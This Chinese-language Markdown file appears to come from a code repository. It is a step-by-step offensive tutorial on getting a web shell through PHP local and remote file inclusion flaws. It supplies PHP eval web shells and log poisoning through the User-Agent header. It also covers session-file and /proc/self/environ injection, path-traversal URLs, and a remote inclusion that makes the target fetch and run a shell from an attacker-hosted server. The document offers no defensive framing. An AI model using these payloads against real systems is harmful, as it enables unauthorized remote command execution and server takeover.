Files
2025-09-25 03:57:46 +08:00

121 lines
4.6 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 怎么 GetShell
**本地文件包含 (LFI) Getshell**
LFI 的 Getshell 方法通常需要结合其他漏洞或技巧。攻击者无法直接包含一个远程 Webshell,但可以通过多种方式将恶意代码注入到服务器上的某个文件中,然后利用LFI漏洞包含该文件,从而执行恶意代码
**1. 日志文件 Getshell**
这是 LFI Getshell 最经典且常用的方法之一。许多 Web 服务器(如Apache、Nginx)会将访问请求记录在日志文件中(如`access.log``error.log`
**利用步骤:**
1. **注入恶意代码**:通过一个特制的 HTTP 请求,将恶意代码(如 PHP Webshell 代码)注入到服务器的日志文件中。例如,在 URL 中加入或在 User-Agent 字段中写入 Webshell 代码:
```php
<?php eval($_GET['cmd']);?>
```
一个完整的 HTTP 请求可能看起来像这样:
```php
GET /?page=test.php HTTP/1.1
Host: example.com
User-Agent: <?php system('whoami');?>
```
这样,服务器的 `access.log` 文件中就会记录下这段恶意代码
2. **包含日志文件**:利用 LFI 漏洞,通过文件包含参数(如 `page` 或 `file`),包含日志文件
```apl
http://example.com/index.php?file=../../../../var/log/apache2/access.log
```
当服务器执行这个请求时,它会把日志文件的内容当作 PHP 代码来执行,从而执行了我们注入的`system('whoami');` 命令
3. **获取 Webshell**:如果注入的是一个完整的 Webshell,现在就可以通过参数来执行任意命令了
```apl
http://example.com/index.php?file=../../../../var/log/apache2/access.log&cmd=ls -al
```
**2. Session 文件 Getshell**
某些 Web 应用程序会将用户的 Session 信息保存在服务器的 `/tmp/` 目录下的文件中,文件命名通常为 `sess_PHPSESSID`。如果攻击者可以控制 Session 数据,就能通过 LFI 包含该文件 Getshell
**利用步骤:**
1. **设置 Session 值**:通过 `$_SESSION` 变量,将恶意代码注入到 Session 中。这通常需要先找到一个可以控制Session 值的参数,例如在登录或注册时
```php
$_SESSION['username'] = "<?php eval($_POST['cmd']);?>";
```
2. **获取 Session 文件路径**:通常 Session 文件的命名是 `sess_` 加上 Session ID。可以通过浏览器 Cookies 中的`PHPSESSID` 来获取
```apl
http://example.com/index.php?file=../../../../tmp/sess_f32921a92a5436687e9544485304a9d7
```
3. **执行恶意代码**:当 LFI 漏洞包含该 Session 文件时,恶意代码被执行
**3. /proc/self/environ Getshell**
在 Linux 系统中,`/proc/self/environ` 文件存储了当前进程的环境变量。攻击者可以通过设置 User-Agent 等环境变量,将恶意代码注入到该文件中,然后利用 LFI 漏洞包含它
**利用步骤:**
1. **设置 User-Agent**:发送一个带有恶意 User-Agent 的请求
```apl
GET /index.php?page=test.php HTTP/1.1
Host: example.com
User-Agent: <?php system('whoami');?>
```
2. **包含环境变量文件**
```apl
http://example.com/index.php?file=../../../../proc/self/environ
```
3. **执行恶意代码**:成功包含后,恶意代码即被执行
**远程文件包含 (RFI) Getshell**
RFI 通常比 LFI 更容易利用,因为它允许攻击者直接从自己的服务器上包含并执行恶意文件
**利用步骤:**
1. **制作 Webshell 文件**:在攻击者自己的服务器上创建一个 Webshell 文件,例如 `shell.txt`,内容如下:
```
<?php eval($_POST['cmd']);?>
```
为了绕过一些过滤,文件名可以不使用 `.php` 后缀,例如 `shell.txt` 或 `shell.jpg`
2. **启动 HTTP 服务**:在攻击者的服务器上(如Kali Linux),使用 Python 启动一个简单的 HTTP 服务来托管`shell.txt`
```bash
python3 -m http.server 80
```
3. **远程文件包含**:利用 RFI 漏洞,将 URL 指向攻击者的服务器,包含 `shell.txt`
```apl
http://example.com/index.php?file=http://attacker-ip/shell.txt
```
**注意**:为了防止服务器对 URL 进行过滤,有时需要使用编码、伪协议(如 `data://`)等技巧
4. **连接 Webshell**:如果成功,`shell.txt` 中的 Webshell 代码已经被执行。现在就可以使用工具(如 Postman、Burp Suite)或直接在 URL 中 POST 数据来执行命令了
```apl
POST /index.php?file=http://attacker-ip/shell.txt HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
cmd=ls -al
```